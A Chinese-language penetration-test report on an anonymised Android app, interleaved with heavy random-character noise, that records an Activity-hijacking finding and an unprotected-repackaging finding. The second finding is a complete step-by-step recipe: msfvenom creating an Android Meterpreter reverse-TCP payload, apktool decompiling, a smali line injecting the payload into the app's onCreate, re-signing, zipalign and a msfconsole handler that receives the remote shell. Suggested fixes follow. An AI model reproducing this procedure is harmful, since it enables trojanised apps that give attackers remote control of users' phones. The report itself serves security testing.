5 f7 e* Z! q, x r* W/ ^. ^% N 0 _& X; u8 ` k6 n! S) F+ m: a
) G& w! R$ R, g 9 w8 w2 `, I. L; ? W2 T/ H
; P7 z! Q# o2 P% ], K
* n$ |* u6 f( K. f4 D
2 W: t& O5 ]- e- h1 Q
: X5 ~ W/ O* q" p8 \
1 z* {4 V* z4 j7 c8 N# u8 ` : T1 x! \: \& ~. x. \8 c3 s! D
, i8 c( y: R: o 表1-2 测试结果
; ~6 u4 S! _; G2 N }' {/ q
# a, ^; }; T9 t8 z; H E; @! }
3 i+ X. f" m# O9 n5 Y& D+ N y
. e c* t" }8 W8 ~9 u
7 |# O/ ^4 q. |6 R2 s- U2 E
2 R* ~. C7 h+ Y' B3 q
- n9 V% I+ M; V! w2 _% t/ w$ P2 f3 u! `4 X
! E4 f! H0 L( z3 v$ [; e# }: K( w# N/ }- {5 `9 g2 c7 l: C5 v7 [
$ ~' t1 `2 ?" C7 U6 W2 X
% v, _, [' \+ P- H7 [ 2 检测结果
; [8 k5 l9 a @3 r$ {8 }3 p2 \3 B: _+ V4 w" x; c! ~8 Z
- c- i% p: s/ \8 I7 s- f
7 v( L' J+ Y! J% ? _* c
" x* Q; i2 @$ q5 t+ Q6 ^( h
! `# y* A$ E, G7 a- v. h8 A 2.1 某某某
# S. }; M% V# l9 s
$ I* D0 p# O {& X, W
5 d: u4 T% m1 _4 y9 }; c
, c6 `$ R/ [! m) w7 Q& z
) Z/ O$ e' \" J8 V3 [* O
, K5 I) z, y7 p( { 2.1.1检测目标
8 [; v- S) ~5 X% Z1 J" N& Y
( \3 s( G" [! n7 d9 ~' |+ i: t! f' F
- c( A2 W! g1 |" I! l- r
1 C7 ^3 |: ` o+ O9 s/ P 1 ~7 B |) W V$ u
3 A" r3 V4 s3 B
目标地址: 某某某某某某APP . Z0 K7 M! b; t) q/ [" L7 }1 V* M
% j/ O5 o% _* e. `, ~* V3 S3 Y
# s+ B/ c8 V: z8 u8 S/ f, G! t- J0 U# t7 h
4 r6 a8 r+ z7 K2 V _
1 m. _% {$ ~5 r% D' {: D. b$ L$ v
2.1.2检测结果
' U$ E4 r' S. ?# E5 o' m
! I3 M+ s1 N }2 a/ @7 t
' M) M. g" `1 z0 q( H
) X C6 }6 E1 l f V
2 l' Y8 e9 r; ?2 j
" ]; B2 f) d! f ? 2.1.2.1
: ~3 i: ^& S, f
, }' c0 h4 ]8 H& d
" _3 T1 E* y- i/ @' H8 B
& v- Q$ A% ~/ Y, _
9 n3 v! Y8 t+ V; F" u6 C5 w8 W t6 O/ M, I0 f( h
漏洞链接地址:某某某某某某APP
) l& t3 t+ O/ n& M+ L/ `. ~
7 g2 L; V* \# v: P' J' K' Y5 w6 D
( a6 Y, I! }% Z! O
# G8 k1 B1 q5 s" } {
7 K6 W5 X7 O0 D0 E0 g, L I# F6 w! E9 {- T9 A7 b8 u4 b
# o/ d; E8 x Y6 _) m
3 C" \' \2 A! r& D0 S
) u6 N" S$ i% A6 Z" Z8 l" }
& b4 `2 l( h* B; p+ o' ]' S1 m # V, t J- Y) B3 y5 A( Z
, O! Y/ |7 j0 j4 b 漏洞分析及取证: 0 |0 q; a& t( S' Z
- L+ @' n( b0 G) g" U
* h; J) s. B7 f; _+ |' m
; e1 s6 [; H( e/ T: Y - d n0 `% z$ z& e) T5 ~1 h
, _- b2 ^+ Q+ P6 E; l
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
& @9 Z5 r& V# \- G2 y# |6 r4 W1 |$ y, q: b3 ~' h- ^6 D
w( r+ k) t R5 Y: @) W; p& R) C& `) U& ~& T* { w, K; ?) w
9 w- G( T2 [8 _( v9 q, T
( Z' k0 H3 P8 @2 v6 ~( G/ D- C! a1 s7 C) G
6 S: Y0 M3 j- x. q% j: }6 A, b8 w. a8 h8 p( W$ K
3 d6 M7 i# S$ e. \
+ ]0 Z% a2 j6 O3 S* b) v6 R' k8 [
! \: G4 y" a! l9 b* ^# g5 E7 g9 @, S1 a/ H9 \4 [
1 d1 Q. @" p% f4 r: b3 R
" U* O1 [; i7 ]; ~
s$ }5 ?: J. h
. I; A/ g/ F$ S6 d% t! r( P" _1 j + D! J1 S* E5 e8 i9 R& l) y
- g( h* c4 x8 K6 s* | 5 R1 x( z- w& R3 `% u
' @7 }( x( t' }1 I
8 |+ y, ~5 \5 E; J6 ~7 @: e/ g6 f
5 W; H$ |& q- W / B T+ p5 k! [: [( S3 I; G) Y
( z: M% y* k9 |1 W! P+ n# [0 ] , g9 p3 ~6 z7 }, c
5 S0 d: b3 \4 d8 {1 }4 H5 Y2 J4 ^
" o+ {8 O* g2 i c) Q- |
2 f. q; F% p* E
2 Y8 b; R. A( E6 A+ \
- a4 Z- F0 @) H2 E& Y
7 z) [3 X( W0 z. q# w* S' ^: z. I+ T6 C. C L) O
5 w% ~5 O8 N N4 F
( r5 Q& ~& O" o8 z) i" H+ H7 x' e 0 c/ s1 }+ c2 w; m0 ^2 M" e
6 ?! n; p2 { b( ^' S% ~: [0 T 漏洞危害:高
/ v& s0 j( m. r
( v. K0 k0 V. x
* Q' K* M6 z- }2 W
( U1 y/ t0 m3 p4 K- ~3 {
1 U7 z' G$ m$ U* U4 z. Z& U
+ C+ K. A: Z9 `: Q( L& {; S' d$ X5 i$ I
t: R+ `5 A0 w6 G" S
0 D+ d. m3 F" w% W, v' p# K+ l, P 6 D' T7 L/ v' T; w3 K- h+ [4 ^
% K9 F& h) _/ H; Q. ?* S) ?
* U" L# S% {/ b6 f+ \8 F
9 S4 q2 W) v% z1 ~6 d6 n5 s
2 i) M: A& @* |5 F" {4 h1 ?$ r
( L7 }/ Z6 M, {, a5 V5 Y
' }, j( Y7 y9 F+ A' o; f
" k% x$ j( h+ Q! \1 ]- _+ A; B+ ^ 严重程度
; C; W$ H5 g) |, t8 I
. I# Q" B; E( ?8 {4 w. z \- }( e 8 b$ E% S4 s# K! [- P' w: Z
8 P- l3 _+ a( B( \, W. R3 N | 2 ^! p2 w ]" g6 W+ h o
. D1 o* B; {; d: p$ [( @- K6 \ ; d3 E4 C) z" {2 W0 v
) L; j- W6 P B. ]/ s6 V0 U& f
3 J6 p' z5 w3 C
# A2 P4 v7 T! S+ t2 ^! } D 高
9 X$ ]# f" \6 V* u6 o) f" L. v) l8 c" i1 \
" I F' ~: d/ v
. s" e- p0 h, h' t |
; X0 R0 g9 x1 ?9 A8 P# @
; \' \$ ?/ ~: h8 J3 d/ n
, O- [# D" _# v- t8 M: E! l7 D1 T1 X
4 J1 z# k! E! w* n
' U, ?- G- [3 ^6 o2 @ ■
$ T2 J7 N6 n5 P0 v7 i9 @' s, v4 @ Q
! M* h& @+ a* S$ d3 p
0 D2 v; c2 x* Y# [( c$ w$ r# _! j3 J( a1 D. w9 Q5 ^
| * W4 A2 | E& P n% P' v
: f# B8 C# J* |4 | : a7 }+ F: ]; _# }$ b
! d L) H1 l2 D% |! S
0 ] i R. y: W7 G3 Z2 [6 A: m' ~0 h6 |6 P4 T1 W/ ]3 W
中 4 R% e4 F6 H+ f; p
" n& R! F. ]% E. ]8 t
) x9 r# T( h- B) E& _+ K
, j) Z2 w o8 I$ J | 3 K. u+ k% c( |: w0 O0 c* k
' y$ c% R6 ]$ O9 w # i3 o# t/ T, O4 F d$ ?/ Q
8 n( {% x$ J! ]5 Y" k3 q
3 \" V" ~6 d& I% v
, R/ d; z* I& I& M2 F% s3 F ( k, h0 ?0 G2 ^ Z. f
+ y# y' K5 F, S# ~
# x) k: L, A) t6 h- S8 |& s* i8 b
|
) {3 G. S7 z* ]4 y* l! s; J4 ~* Z, x0 b( ], D/ M8 d
$ C8 \8 a8 {$ K* [4 ^8 S- K
! w8 U% r" [1 z. b
" `4 e( `' a% z8 Q, K7 ]! o6 Y5 S9 M8 R0 h
低
9 W) }" K* Q2 \6 q4 |' G7 q$ \' m$ R. O$ i2 w4 H, p6 i1 a
q! w' O% q5 W. ~# `( U( W
: Q _7 z* Q1 e! r1 T& ]
| & c- X4 n3 P8 C1 M& n H
2 Z9 H" i: n+ a0 b2 E4 Z+ i " A: i9 h9 d" q# s( g" T+ Y
9 O- q' _$ q; ?. @& H! n3 e3 e
; k$ B$ j3 _/ f0 T* a) L% Q
$ t8 J' ^) W0 ?( I4 X' o
: Q8 a8 V$ x E6 ]3 i0 _
7 ?: z, Q3 v' k Q
& i7 [) N, I' S2 f# m, Y" J6 c5 e- x8 `$ h- R
|
% I l! b+ j( y1 b7 P+ Y. ^
- b& h/ r) j0 K! |8 G2 C
. l2 M5 W. e4 l7 O# a# R: Q S, P
: `" E( d- |' w
! Q, m3 E5 j7 E$ z9 w; C4 {8 w6 W. M' e7 @& P
, H* l' s" O6 x. b
$ n8 d( ]0 f! ]9 {& \
" E& M. T v/ a5 H: q
% p- _ M! W0 X! _) B% Y
- e5 C+ l/ L$ @9 U6 H! U! o8 |# r- D- _2 V* b1 V
L) V0 D# C" b' e8 j' e' A
0 w2 c B7 ^+ n& k& b$ x' H
- J8 w2 A G4 }8 m; {' [
% [5 u. H; H h' r7 E6 W$ B
- v6 t8 T3 Q6 u/ ?+ @6 i
* ~/ `% N5 G1 h 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
( N1 d3 C7 z( T7 r8 S% e5 G. o3 ]3 C5 t; d$ z
6 x4 q: h& p& U* {* B% ^# ]0 A% Y1 r
: D! j i* U! [) @, b# `) I9 O
2 {+ C9 j" x, t4 L& I5 P% r
# }: u9 N5 K7 X ' W7 U0 ?! g: P2 A
! P4 d. L( e7 G5 \
! q, n, S+ }! Z: d1 F! ^! J0 _0 m5 V% |" O
( Q* {7 R( q; U* v& N. }3 j
$ }& Q; {& d4 q2 e. \% X6 R% {* s
% d! V' m9 w- c- X9 S. m! Y2 q
3 k6 B7 o. `" u6 V5 ?
4 X" m5 z* J9 b, H0 P9 }+ h" N: g
* }* \+ J; b" `; f 7 L+ n, U9 Q! z8 B
& Q7 U, Y( J8 ~8 r i 2.1.2.2 " h& V9 ?$ j4 G5 |9 y
, g# i6 h2 M* f/ I) z5 j
# J5 M9 ]) M7 Q! I4 L5 a: E% N' U# |
* g S5 S$ l. I3 @$ P0 ~3 e
5 S. i* N% [1 K1 {2 \- x9 U: u
3 j$ A9 v! T6 }6 j; R 漏洞链接地址:某某某某某某APP 0 K4 z1 L% j% s8 j
: b9 U, ~& S/ t8 |
/ [- Y }) O6 `1 z+ U
3 O0 D r3 l! V/ J
* ~2 J" d) h! d, S. Z% E; l! I9 I& b' N7 e Z! L
漏洞分析及取证:
Z1 N( F. O0 a! Y$ _, c- J( V9 ^& {
7 F: i) K M3 H# r1 V/ o
, R; k: o) f2 ~1 E9 f; d " }, c' [# M' k. x: |
2 v1 P- }. r! e9 j3 }' f 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
2 R* ?+ {5 q8 N. a, D0 x, p3 H# W1 _6 i9 l# j
9 F9 S7 B# L/ }" X4 M" W% v% C
; N1 o$ S4 } Z( @7 g1 K% l * D- }8 V- G2 c2 G1 C; {
* _& c i7 ~9 k3 F t
用Metasploit 生成木马 apk
7 \3 x) c0 G3 i% M+ I) X
- X: l- D3 O/ E; w# K& T8 E0 L
- x# _4 _' _- u& {7 J) O, X
# b" {' {: a# E3 I3 {% t
* K Z6 @8 g2 n% ]3 y5 _ k4 h" b4 H' E" `" V$ i
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ! Q% Y: x" E% g+ f9 S9 d* o
! D, e( Z: m& y% p
8 X+ t) B8 ?2 \( T! A
- d& M0 P) H+ {. r- a
) e2 S! C1 t! J# y7 _
% h+ s* D7 y" X0 `& B- E 反编译目标apk和木马apk
3 t( m) x. Q5 ?8 D# F7 V5 V2 a3 C0 o2 X- H& l8 u
* d3 b1 l( R% ]2 Y* T8 Z
* |/ a& ]' {- q; g( i; N u 9 Y) A4 }1 E# D; J! e! ~
- F( i. U4 W9 l$ m apktool d target.apk
2 O9 s- W0 m5 }0 o1 L5 x) N0 s& K7 T3 ?. G, Y
apktool d cockhorse.apk
: V, @1 z$ `2 R' H
; t* Q+ O( `* t B0 _* E$ g
1 ~3 j) D8 B/ Z5 Q
& `9 L1 Z+ w& m! S7 o
% G! f, ?0 T: f& ?. w; p5 M
$ q/ A0 V5 m$ J/ r% w% g 木马 apk 注入目标 apk
- A/ H: ^# [5 z. p; B( v
% a# @# U! o4 ^+ \. s H) m* n
6 z% h2 C; ]2 V# u& v# y0 X, T, K
/ }% E8 ?1 j4 V K" Q6 e) D
4 H# d. M* A* f6 ^6 P7 ~" k+ w) Y: G6 F0 {- Y1 q Y0 N% A5 ~4 e
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
+ i% R8 A# {2 I+ o7 |9 t& c! f( s+ q
- A* q% z* }0 I, z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
+ F* e; @% n) {5 q1 o: ?& g2 }
6 E6 P5 o7 B# e) L, a
+ t5 E v: j* J) E/ x
) L8 ]' p9 E/ t
& T9 C% H0 g" y1 `3 t) Q! p j3 R1 L' g, V
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 - k; e( P8 N+ F' K: W: A0 m- G, }
1 B) a) Q# R1 D+ C
5 B* @& x& V$ N# f
6 u$ t- F$ o4 u+ `& d+ k
; E V/ L: B/ I* }8 @" Q% J! }% Z2 d7 b2 m
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 / O+ k3 B+ ? M9 ]
1 | h5 P" [; x& x# l' h8 P2 l
. e* [2 }3 Y5 e! c4 D# Y5 ?. x6 r: O5 I- O
`3 [' B7 V1 [. M: P; M& R, M9 N# ?- Q
回编译生成最终 apk / ^9 \7 J. d2 X; m0 t( {
7 x# I$ I; u0 D i
$ y4 G9 ]* T5 X# i, r$ l3 x6 ^
" l0 O; I) T5 t. j % s8 n; d& x, P0 C
7 L$ a& z( q" T( B" U 重新打包 & T4 r; E# w5 T/ {: U* y4 P
- e, [# k3 K6 G% D- U; Z0 P. E8 w
4 Q! p0 g: ^9 d! w
4 V- b; C1 d5 H1 u1 z ; x! P" T C0 x4 x& D& K2 t
+ U6 h; S- A1 r; D+ P# z/ x1 U9 x apktool b -o repackage.apk target_app_floder . X+ u% ?. m- Y( \
- ]$ \' E) Z ]
+ D/ k% q! T1 V( w, t. B6 C$ h1 N: q" f; z
/ d& r C9 q t/ ^0 h' \
& Z" N: k% a9 `+ K. j4 M' m0 P2 } 创建签名文件,有的话可忽略此步骤 9 O* x, h. X8 I9 {% c
7 ]- F: o- f- W/ R: I& f Y5 x
( l" m' y; H' S- {
0 ^+ u3 |; E9 X" i+ l ) F! Z$ l3 R4 m3 m% e# V7 J
4 b* y; _0 O2 P6 d
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
0 u" A' ^$ c3 v4 K
( Q9 ?9 ?# _) L" u
4 A5 h9 a/ H$ w! {8 b& x
0 D+ E) {# H5 \# K 5 h: b5 F. |! e+ b
( q) q/ [) k1 x; M& `! Q 签名,以下任选其一 5 o4 H& u& ^, n# T1 C* t
$ f3 G. F+ Z. {" C' @
% z1 _; {% N, G6 J. x1 k+ `6 I1 R1 W* z+ R7 f* v! h4 W
; n# c2 h: V5 [) v+ B3 @8 A
* i+ Q( g8 r1 A4 @% |- s! e$ L jarsigner 方式 $ [ `6 n! V5 v* u, Y0 K/ q
5 J) {+ J' P! c6 j# M
" ?3 `0 n' n% k
( R J( z3 j) R; y2 h3 Q 7 p. k; {& `# o3 G4 V- J% v
5 I4 `. e6 b) c
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
/ b5 i$ H+ E+ q* s- G1 S. F, F3 n4 q3 F5 W6 p5 _" a
% g% T# H1 h9 P$ Q) J9 `4 W5 K
8 F- _! C; j5 b: A5 m' ^& B ] * ^" g0 g# G+ H- n8 z
# E, h' n/ J9 u0 U4 i) p9 g
apksigner 方式 7 m- A) O' d; d8 T; @/ Q
6 g1 |/ t" @& B8 J
/ q, J3 O. y8 K2 r
9 w/ N6 ]$ r# @. ?& D$ O+ E9 }% }) A
0 i! R! Q3 Y# g+ I9 }2 R3 t/ z$ B9 a! h+ q7 i. z$ B3 X
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 8 y. _5 x6 q$ |5 Q) t
1 B8 g M3 \+ U; a" \
; S3 t0 ]# K2 j& @0 i3 |
& C A1 A. B' A3 @ f; W9 v8 N4 |
, K' t; f! u9 E/ n2 |8 H# B
) d* F7 {* p& l$ y2 ? 如需要禁用 v2签名 添加选项--v2-signing-enabled false - |0 a/ x, s1 D: G5 Q
6 L$ O7 Q9 N& M8 [& x8 Y" c
: Q! z" g- P) j8 i4 k& T
- E: p$ r! [3 w. R
/ j8 x- u7 c) [
* q# [5 l- m; @
验证,以下任选其一 7 I0 x l+ d3 x' d3 z6 `
. }: d1 w; Y2 r, h
8 ^9 Z! ~9 [- ~3 l& \6 s. U4 K3 F, n$ x" A
' E' @* s9 X; c3 {0 U
, n g9 K! l) c5 y7 g5 r) p! i8 f
jarsigner方式
@/ c! u* s. S# u8 d& V
8 t% ^4 ^0 J: t8 k& f
1 |' S' S2 V2 M, Y, L' |
; b1 j7 n" W: {, s
R+ L; F) B" B/ l5 V' W4 o* w0 m: z( k) D& P' j
jarsigner -verify repackaged.apk 6 t! r- v7 Y) k6 S9 g* ]2 x
: V! w/ S+ \. Z$ F
% k) J$ T$ j7 A( C, C' k3 `0 ]
0 [( _) e7 W4 w0 K: U
, J8 x, k& u/ W+ Z% h$ l
7 Q0 K. X! i) N0 Y! k8 h
apksigner 方式 / z: Y3 G' L0 |' D- \4 V: s9 @
) O m) C" Y2 Z) b/ u) L
$ V9 `% ^% u: _& m
3 B6 E/ O8 O( x! P0 J
# Q# a8 w( A7 ~6 r0 t$ n
}) \% n8 V# z, E/ g" t6 {2 q/ B apksigner verify -v --print-certs repackaged.apk , f; S& w1 k! [2 f$ m( x! L( V3 f- y
8 T }; i* }+ y) ?% a2 T
; f0 ?/ f- S4 D
/ O- A5 d$ }7 U* ~; z& Y @" C# r8 n* f9 \1 f0 D
% c& Y6 d/ t: m9 `
keytool方式
- r/ y; y0 J" T, K6 u) D3 k5 W4 O! i* N
! v. h S* @7 |" C4 [' i4 P2 w% k6 b2 O+ R5 W
& \: U/ { J6 i) k/ b* N: m$ ^- ^5 a. T3 a# X
keytool -printcert -jarfile repackaged.apk $ l5 t$ g; s% E8 X `. f
- V' |$ v% |8 ~- y$ }, L
9 V7 W# [9 S8 |# x+ G1 R
$ x. ?; B; s) G6 o7 [
8 F( X# ^* n' W4 D* D1 a0 |/ t
' `& V0 j3 J5 m i( T* c7 ^ 对齐 ; P `2 A h3 v0 \- ?" t
- B! ~, `) r- `9 T( `
/ {" h. y+ m2 B6 q' t2 ?9 ^1 I$ R0 F0 e9 v9 K7 y
% b: B' K9 y) _' [' K) x n6 Q+ X( R0 [, e" W& W2 A* k) D
字节对齐优化
: Y7 P2 A( Z1 |' n2 Y! R" Y9 q8 |4 W! M# C
/ ~% M. ]6 U! r
9 t/ P- _0 _2 y+ G
0 ?* _& l* C) M
9 X d3 I- w- v% A% Y zipalign -v 4 repackaged.apk final.apk / d" J6 Z s9 s
+ ~/ q# \3 V5 X( k
+ q$ Z' W, Q- {; N5 u- m7 t J+ B, i, {, N; `' Y" _
# f. _1 `4 l ~; U O' b
; w1 U# l0 }; b. |) d; K 检查是否对齐 : \$ E/ t8 T) ]" n$ U9 r' ]
6 ^: E. L! f* a) ]$ f8 ^
* i% U( ]/ |( K+ M. S* B1 g" T
/ Y w9 L& X+ y2 l3 e% I
- l8 a7 L/ }* A- ]) M
% X; D; q7 _8 C; O zipalign -c -v 4 final.apk
- E1 ]$ H( C) z4 ?( F6 d0 [
# O, q: p$ t8 ^( j
5 I4 f& w" t$ y( M
: }; y) M( v, }9 s# E2 D
2 m9 \$ V/ B6 I1 [* d* n/ @1 y" E3 y# d8 W
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
- n$ `1 o/ h P( o4 e$ L. F: `
' W. m; c4 z) G) a; J2 F9 O
' W- Y% u" |+ i B$ w/ N
# E. a. B: K+ W5 D& z
& l8 c7 a# Q' \
0 c( D) s5 ]/ a- V, q# v 启动Metasploit控制台,配置参数等待上线 # p4 T5 `5 g' `) h) ]! T; a9 K
# t" N; p4 w7 L8 ^' _. P+ f
; u+ D. `6 s* M1 I5 F: f+ m( G) L( H+ d* C7 ^# Q
; ^! k& L W/ J" G# J# C( a. A% U' K1 T- M
在终端依次输入如下命令 3 s' U: l5 k9 t& ^2 V# q1 n3 L" i
$ t: v+ p5 V- x) p6 R
& _' ]6 b9 M T& C! M# K% g
3 y/ {2 n$ y Y / G5 N. l# u# E ~$ G6 a& o
! L8 |" h5 w, W6 y! R3 x' P+ z; N msfconsole 9 Y7 W6 v4 N A5 U3 H* \2 U3 i' C
( ?/ E% M$ i/ F: }' T ~& N
) T: @/ p c g3 |- _/ e5 W F1 [4 i% d2 W2 ?2 j* S- y
: @6 P! r; \ t- A: |4 y0 `! W( i4 j1 g1 T: A
use exploit/multi/handler * S' |: s4 J' @* g3 L+ D2 H3 [
% Z$ S0 I3 f# T" [- ~9 m' o
1 V' L9 c. a) {8 g l( S
3 O# k+ F$ J7 c
# d3 P1 `8 |1 D+ N; a- H$ m
& U4 ~9 K: r6 G( g3 g9 t' b: } set PAYLOAD android/meterpreter/reverse_tcp
% O/ |/ p2 V4 z( w
! V P! W. {1 F: y! @! \& T, @
9 s# Y6 Q2 d- [% s8 K! J
$ i' a1 F4 T$ J# _3 e
5 m+ C" J0 d$ L5 L1 S
: h$ U/ G5 ~" D) Q" V. F; J set LHOST 192.xxx.xx.xx . w; Z; b6 \" _) Z8 C
" }) u. n# K3 H) M. Y
" X3 j2 l4 o, d+ E
4 f; a G3 ^1 h; r* | ; B/ u6 }0 W9 d3 b
8 x+ L, z9 Q0 X# o5 A1 k set LPORT 4444
@1 e* @0 ^7 p! ~/ I
9 B3 m1 j4 J; h% u8 Q
& l$ e9 Q( Y: E1 H& s+ X# L
; J6 \ z# L3 I, T' z: ~; u
/ I+ h# H8 r, I( ]( b
# @; _: @7 u9 w# W exploit
4 j& c; q6 \/ O
/ o" o( s9 c* V- V0 {* f
! ^! o9 g c: W
3 o# c' m; J n7 H3 P; L & q% X! K% k9 V; g l5 Z+ V
: S: z, m8 A5 w! L4 h- M: T7 n 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: # l N% j" B7 c2 N! e4 c$ c
3 Z) i% c3 `2 c6 W0 }
/ b& l( U) M% [ `; E% e% m6 R6 f0 Y
9 Y: C; ^: \# q1 p" u9 I* }( h' E & `+ H j3 I$ y& q
: V$ o1 S0 @) y2 i% z+ c
漏洞危害:中
4 k+ ?2 ]$ L- w8 I5 t- c+ o& @& g/ _$ X+ I' M1 Z; k! B
5 S3 J) x( k* x3 l) e! N, i5 T S; p5 f& o8 N2 Z
: {" e- T0 Z+ ~$ ~" a3 a
) h6 f4 ^' u6 D. } 4 M1 O* ^ ^7 T3 V- g- v
X; R* C/ u& X7 x# b; B! s 7 `' @" p3 A; K
( v+ Y% T5 p* B
F6 n3 \% ~. ^* m* F
. o3 b" J- t) w. o i" {0 v7 k 7 Z5 n9 e6 [" J6 [, k
2 Q+ ~1 L8 ?/ K. F- @
+ _9 q2 g5 I" j
& v1 v8 a9 P2 z& r2 ? * h: ]. @6 W$ ]* N1 [) I8 W
0 N6 c& W/ e3 R# ^. v 严重程度
. f, ^4 C" Y( X+ s6 f9 {& B+ D- J' U
, v7 R" ~" r* M7 o# J
% Y$ t" F* a, C) f! _2 A0 J |
0 h6 [( _3 i5 X7 u
8 L( J3 `: Q( ~) d% d9 }/ d , s" R+ M3 y2 ]" M6 L5 u' ?
: O2 \( ?3 ^0 ], y
k# k* }0 E- w' m7 _3 K' }9 ~1 o
高
" W) r$ R% | V6 ]# _1 D6 w- ]( q# S- o1 G) h
( P8 u8 K4 k2 h- K V
8 o* l5 X7 w! S# d |
' k7 `1 D8 W9 s3 ~
, F+ D- C7 U5 |: _
$ ` j9 C, N( z' K1 ~1 n
1 l& W! @7 t( n0 H
" x7 e# o, @. T) i3 h
9 B# W% S: r+ z# u ■ . i' P8 V8 ~! R3 |; v: a- w7 l( b- ~
! W% b! C$ U7 A, I 4 \9 e N# G/ j! B0 {5 E e* w6 Y
1 ~4 b2 m9 U2 b
| # ^9 p# w, f- a& t; q5 k T
+ B7 j, t9 n9 k7 b' _* N4 v
4 l# D* |, {0 z: S5 s9 x6 S
# M- p; G5 g6 u( {& U2 ^
- f" H3 H2 _" L7 _' O! X- F6 x/ W/ c$ x
中 6 e: M; N- m& z6 S* F
2 _( P$ c# F, x
" ?3 U7 A0 S4 T4 s, z' O3 e1 Z
) t, g& v0 r; q2 l1 j d0 F | , i5 _8 S( p3 U9 W5 y
- s( y2 L2 E0 B+ u1 Q
$ k! m' \& s4 F! R
, g) Z: m/ ~4 k! y1 V1 v ' |7 b. ~0 k2 D9 Y" o5 y1 i, E
: ^$ J2 k4 q4 N5 v
0 C$ D, R/ e. ~
7 n$ A: _; w; \) a9 q
! ]/ q: m( o" D8 d
* S( q9 p5 n' L9 r7 t$ W: C+ g; P! ` 1 E9 F" D C; P0 q; v/ a2 {
# j: P9 H A0 @$ x4 r2 y5 b |
% M* v' t' F$ X/ s1 V% `" x9 |1 s
1 e) X5 e+ b4 r' N, N $ R5 Y1 s5 ?3 N+ ~8 V
$ B. ?! O0 ^4 X$ d8 P' E6 Q' H! [
( G! X& A; T) \6 @5 N% | l1 H
3 U" N7 T1 P `/ L1 U
低 + z! l2 |, q: u
4 ~9 n) ` n% u; n
/ i# u9 A0 O Q; ]' b
: L, O8 i% e+ N% N( B- M
| - m z$ O9 P1 P; y1 H o
/ p) |1 z. s# m3 V7 q: [' c, u
1 s( [$ C: C- \& {. E! s3 M, S( a) _/ `' d" n- V4 O( a' g
% k0 z2 E6 T) v* e8 d: F# H8 Y% h
4 f7 r; @, k) M" T3 S% Q; g
. B3 |6 W0 y+ c
$ l# T; R `3 g0 n H' x
* t" x, p$ J8 F6 J# n& m+ z# W. ^& m3 R+ T) Y
; `# k; Y$ t2 J, }* n$ K
0 l) v8 f7 F$ c) @0 L: Z# e6 f
|
& R4 B3 p" {3 m9 l* J7 r1 F. r: |8 t0 r7 r% U
# d l9 z7 P6 i
4 `+ s" e- I/ w c4 {2 ]( M
" {* b1 e" U1 d! P/ f
* E9 U0 ~- t0 u8 {2 Q# |0 P
4 q0 D3 w% U$ ~: O5 Y, K! t
/ L7 s, v7 C: _/ |% w/ j6 ] ! a! ]* A& v. ]4 ~' h& U
2 r+ f9 I/ k* t0 O
R- w% u3 |. n) c
2 u S" @& t/ e1 B$ _3 ]* R# |
* S) M, r. q9 W/ Y" W2 M5 l/ P O/ ^3 j y' r0 Z4 j2 h) {% N
- V) `+ Y) i/ a q
% q8 I) J( V' p0 \ 8 t7 m* `; @) C5 ^# Q
: H8 {- x1 C, U: t ]: z! E
修复方法:
2 [: D; N: ?% R* l; X* W
: r$ o3 H L9 B2 v/ J$ m/ X4 q/ H# X+ f
* ~; m' D& M) f& X
' w) d/ I/ v! h; V
% u8 p; B3 p7 `; y* X( @7 a# X, y" L3 D9 K8 E7 @
1.在 APP 启动时应做签名校验防止二次打包。
. M) p6 _- L$ p* e- X( F
* M$ T6 |. t( }" ^( W; W% J+ i+ h 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 - X+ v8 H3 [, s% o: [
% l% d. ~) N7 G2 p- k) J
! l1 F8 i% U2 `" t
. K) @" C1 E' K: b% B" `- G, j
" B% W7 q) W1 m- m9 S7 X9 X0 O, P ]* s7 A
5 c* c1 a1 D$ v% o
7 E4 C& I( w' \, ]
; a& e! E1 x* B5 O$ d; y" \+ s8 ]+ j- f
, R. a. ?, q. i: I8 i b0 D/ w. \9 B3 y6 R8 I
( D% @9 G" S$ {# ]- k7 z
0 b. x7 x7 V& i ^+ K2 R
4 Y( f/ L+ y3 S' L* m/ s
6 _, \/ w* t: E2 X5 J
! }' t! U) U2 s, \
/ C& U( s: {8 ]% w. _
( u1 b5 {0 i( W1 d9 z
$ a7 L) z- R0 D5 z. T5 @5 }